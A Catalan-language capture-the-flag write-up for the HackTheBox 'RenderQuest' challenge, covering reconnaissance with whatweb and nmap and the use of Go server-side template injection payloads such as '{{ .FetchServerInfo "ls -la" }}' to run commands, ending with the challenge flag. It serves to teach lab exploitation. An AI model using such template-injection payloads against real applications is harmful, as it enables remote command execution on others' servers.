Skip to content

Latest commit

 

History

History
252 lines (113 loc) · 8.09 KB

Challenge RenderQuest.md

File metadata and controls

252 lines (113 loc) · 8.09 KB

Enfocarem el challenge en el supòsit que tenim el codi.

image

Veiem que és una web que fa renders. A priòri és una app que ens pot ser útils per fer templates.

Ens interesssa saber la tecnologia amb que està fet:

`┌──(root㉿polkali)-[/home/polkali]

└─# whatweb http://94.237.62.195:37591/

http://94.237.62.195:37591/ [301 Moved Permanently] Country[FINLAND][FI], IP[94.237.62.195], RedirectLocation[/render?page=index.tpl]

http://94.237.62.195:37591/render?page=index.tpl [200 OK] Bootstrap, Country[FINLAND][FI], HTML5, IP[94.237.62.195], Meta-Author[lean], Script, Title[RenderQuest]`

Veiem que la pròpia pàgina on se’ns mostra el «home» és un template.

Ara li farem un nmap però no coneix el servei que hi ha darrere el port tot i trobar-lo obert:

`──(root㉿polkali)-[/home/polkali]

└─# nmap -p 56687 -sV -v ┌──(root㉿polkali)-[/home/polkali]

└─# whatweb http://94.237.62.195:37591/

http://94.237.62.195:37591/ [301 Moved Permanently] Country[FINLAND][FI], IP[94.237.62.195], RedirectLocation[/render?page=index.tpl]

http://94.237.62.195:37591/render?page=index.tpl [200 OK] Bootstrap, Country[FINLAND][FI], HTML5, IP[94.237.62.195], Meta-Author[lean], Script, Title[RenderQuest]

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 19:23 CET

NSE: Loaded 46 scripts for scanning.

Unable to split netmask from target expression: "┌──(root㉿polkali)-[/home/polkali]"

Read data files from: /usr/bin/../share/nmap

WARNING: No targets were specified, so 0 hosts scanned.

Nmap done: 0 IP addresses (0 hosts up) scanned in 0.07 seconds

Raw packets sent: 0 (0B) | Rcvd: 0 (0B)

└─#: command not found

zsh: bad pattern: [301

zsh: bad pattern: [200

┌──(root㉿polkali)-[/home/polkali]

└─# nmap -p 37591 -sV -v 94.237.62.195

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 19:24 CET

NSE: Loaded 46 scripts for scanning.

Initiating Ping Scan at 19:24

Scanning 94.237.62.195 [4 ports]

Completed Ping Scan at 19:24, 0.05s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 19:24

Completed Parallel DNS resolution of 1 host. at 19:24, 0.00s elapsed

Initiating SYN Stealth Scan at 19:24

Scanning 94-237-62-195.uk-lon1.upcloud.host (94.237.62.195) [1 port]

Discovered open port 37591/tcp on 94.237.62.195

Completed SYN Stealth Scan at 19:24, 0.05s elapsed (1 total ports)

Initiating Service scan at 19:24

Scanning 1 service on 94-237-62-195.uk-lon1.upcloud.host (94.237.62.195)

Completed Service scan at 19:25, 87.52s elapsed (1 service on 1 host)

NSE: Script scanning 94.237.62.195.

Initiating NSE at 19:25

Completed NSE at 19:25, 0.01s elapsed

Initiating NSE at 19:25

Completed NSE at 19:25, 1.05s elapsed

Nmap scan report for 94-237-62-195.uk-lon1.upcloud.host (94.237.62.195)

Host is up (0.0049s latency).

  

PORT STATE SERVICE VERSION

37591/tcp open unknown

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port37591-TCP:V=7.94SVN%I=7%D=2/21%Time=65D63FD3%P=x86_64-pc-linux-gnu%

SF:r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\

SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B

SF:ad\x20Request")%r(GetRequest,DE,"HTTP/1\.0\x20301\x20Moved\x20Permanent

SF:ly\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\x20/ren

SF:der\?page=index\.tpl\r\nDate:\x20Wed,\x2021\x20Feb\x202024\x2018:24:18\

SF:x20GMT\r\nContent-Length:\x2057\r\n\r\n<a\x20href=\"/render\?page=index

SF:\.tpl\">Moved\x20Permanently</a>\.\n\n")%r(HTTPOptions,7C,"HTTP/1\.0\x2

SF:0301\x20Moved\x20Permanently\r\nLocation:\x20/render\?page=index\.tpl\r

SF:\nDate:\x20Wed,\x2021\x20Feb\x202024\x2018:24:18\x20GMT\r\nContent-Leng

SF:th:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request

SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo

SF:se\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x2

SF:0Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection

SF::\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1

SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=ut

SF:f-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalSe

SF:rverCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t

SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x

SF:20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC

SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\

SF:n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20

SF:Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:

SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,DE,"HTTP/1

SF:\.0\x20301\x20Moved\x20Permanently\r\nContent-Type:\x20text/html;\x20ch

SF:arset=utf-8\r\nLocation:\x20/render\?page=index\.tpl\r\nDate:\x20Wed,\x

SF:2021\x20Feb\x202024\x2018:24:44\x20GMT\r\nContent-Length:\x2057\r\n\r\n

SF:<a\x20href=\"/render\?page=index\.tpl\">Moved\x20Permanently</a>\.\n\n"

SF:)%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x

SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba

SF:d\x20Request");

  

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 88.94 seconds

Raw packets sent: 5 (196B) | Rcvd: 2 (84B)`

El que farem aquí és anar a la web de Hackthebox i descarregar el codi:

image

Dockerfile és un fitxer que ens diu com volem aixecar el contenidor, si obrim el fitxer i mirem la primera línia, podem veure amb quina imatge s’ha fet el contenidor.

Veiem que aquest challenge està fet amb GO, ens hauríem de llegir tot el codi i veure què hi trobem.

Veiem que hi ha una funció que es diu main i hi veiem els endpoints de l’aplicació:

image

Hem d’interpretar què fa la funció getTpl que és força llarga. Al final arribem a la línia 164 que posa bàsicament que si la url que li posem és remota i no en local que carregui el fitxer en remot.

El template es renderitza al costat del servidor i no del client, i com veurem no comprova res de l’input que hi fem.

Hi ha una funció que li carreguem la url per string i no hi ha cap tipus de sanejament i la carrega.

Per atacar la web farem servir server side template injection, ho podem fer perquè podem dir l’input que ens doni la gana, es fa al costat del servidor i no està sanejat. Bàsicament posarem un template enverinat.

Ara hem d’entendre com fer aquest template enverinat i per això ens documentem. SSTI és una aplicació de GO i desl rpimers enllaços que trobem per internet veiem com podem fer un RCE.

Veiem que hi ha una funció que fa exec.command:

image

I ens diu que li hem de passar una comanda amb string, primer farem un template i li passarem ls -la per provar-ho.

Farem servir un servei web per fer això, utilitzarem això:

{{ .FetchServerInfo "ls -la" }}

image

{{ .FetchServerInfo("cd ..;ls -la")}}

image

image

La flag és: HTB{qu35t_f0r_th3_f0rb1dd3n_t3mpl4t35!!}

image

image